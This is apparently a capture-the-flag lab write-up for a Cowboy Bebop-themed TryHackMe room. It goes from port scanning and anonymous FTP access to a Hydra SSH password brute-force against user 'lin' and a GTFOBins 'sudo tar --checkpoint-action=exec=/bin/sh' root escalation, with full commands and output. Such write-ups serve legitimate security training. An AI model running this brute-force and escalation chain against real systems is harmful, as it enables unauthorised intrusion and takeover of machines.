



📶 ⌚ 45 min 👥 101,775 🙏

RustScan

Result:

Nmap Scan

Result:

```
Nmap scan report for 10.112.183.82
Host is up (0.069s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.5
|_ ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ Can't get directory listing: PASV failed: 550 Permission denied.
|_ ftp-syst:
|_   STAT:
|_ FTP server status:
|_   Connected to ::ffff:192.168.131.218
|_   Logged in as ftp
|_   TYPE: ASCII
|_   No session bandwidth limit
|_   Session timeout in seconds is 300
|_   Control connection is plain text
|_   Data connections will be plain text
|_   At session startup, client count was 1
|_   vsFTPD 3.0.5 - secure, fast, stable
|_ End of status
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_   3072 7b:c7:3a:8f:91:a1:c8:93:50:de:b7:36:bd:5c:16:0d (RSA)
|_   256 90:e3:1d:4d:0e:e3:a6:bd:24:6d:66:74:d9:8a:80:48 (ECDSA)
|_   256 10:d7:e8:89:9a:b4:a3:9d:70:3e:ec:b3:c4:0a:36:c7 (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-title: Site doesn't have a title (text/html).
```

Enumeration

Anonymous login allowed on **FTP**:

```
farid@kali:~$ ftp 10.112.183.82
Connected to 10.112.183.82.
220 (vsFTPd 3.0.5)
Name (10.112.183.82:farid): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
550 Permission denied.
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp           4096 Jun 07  2020 .
drwxr-xr-x    2 ftp      ftp           4096 Jun 07  2020 ..
-rw-rw-r--    1 ftp      ftp            418 Jun 07  2020 locks.txt
-rw-rw-r--    1 ftp      ftp             68 Jun 07  2020 task.txt
226 Directory send OK.
ftp> █
```

Discovered:

- locks.txt
- task.txt

locks.txt:

```
farid@kali:~$ cat locks.txt
rEddrAG0N
ReDdr4g0nSynd!cat3
Dr@g0n$yn9icat3
R3DDr460NSYndIC@Te
ReddRA60N
R3dDrag0nSynd1c4te
dRa60N5YNDiCATE
```

task.txt:

```
farid@kali:~$ cat task.txt
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin
```

Initial Access

SSH BruteForce

Bruteforce user **lin** with found **locks.txt** on **ssh**:

```
hydra -l lin -P ./locks.txt ssh://10.112.183.82
```

Result:

```
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:1/p:26), ~2 tries per task
[DATA] attacking ssh://10.112.183.82:22/
[22][ssh] host: 10.112.183.82 login: lin password: 
1 of 1 target successfully completed, 1 valid password found
```

Shell Access

```
ssh lin@10.112.183.82
```

```
lin@ip-10-112-183-82:~/Desktop$ id
uid=1001(lin) gid=1001(lin) groups=1001(lin)
lin@ip-10-112-183-82:~/Desktop$ whoami
lin
lin@ip-10-112-183-82:~/Desktop$
```

User Flag

User flag (**user.txt**) retrieved:

```
lin@ip-10-112-183-82:~/Desktop$ ls -la
total 12
drwxr-xr-x  2 lin lin 4096 Jun  7  2020 .
drwxr-xr-x 19 lin lin 4096 Jun  7  2020 ..
-rw-rw-r--  1 lin lin   21 Jun  7  2020 user.txt
lin@ip-10-112-183-82:~/Desktop$
lin@ip-10-112-183-82:~/Desktop$ cat user.txt
THM{ }
lin@ip-10-112-183-82:~/Desktop$
```

Privilege Escalation

Vulnerability

```
sudo -l
```

```
lin@ip-10-112-183-82:~/Desktop$ sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on ip-10-112-183-82:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on ip-10-112-183-82:
    (root) /bin/tar
lin@ip-10-112-183-82:~/Desktop$
```

Root Access

Finding on [GTFOBins](#) root shell can be accessed with `/bin/tar`:

```
sudo /bin/tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-
action=exec=/bin/sh
```

```
lin@ip-10-112-183-82:~/Desktop$ sudo /bin/tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
/bin/tar: Removing leading `/' from member names
#
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
```

Root Flag

Root flag (**root.txt**) retrieved:

```
# whoami
root
#
# cat /root/root.txt
THM{[REDACTED]}
#
```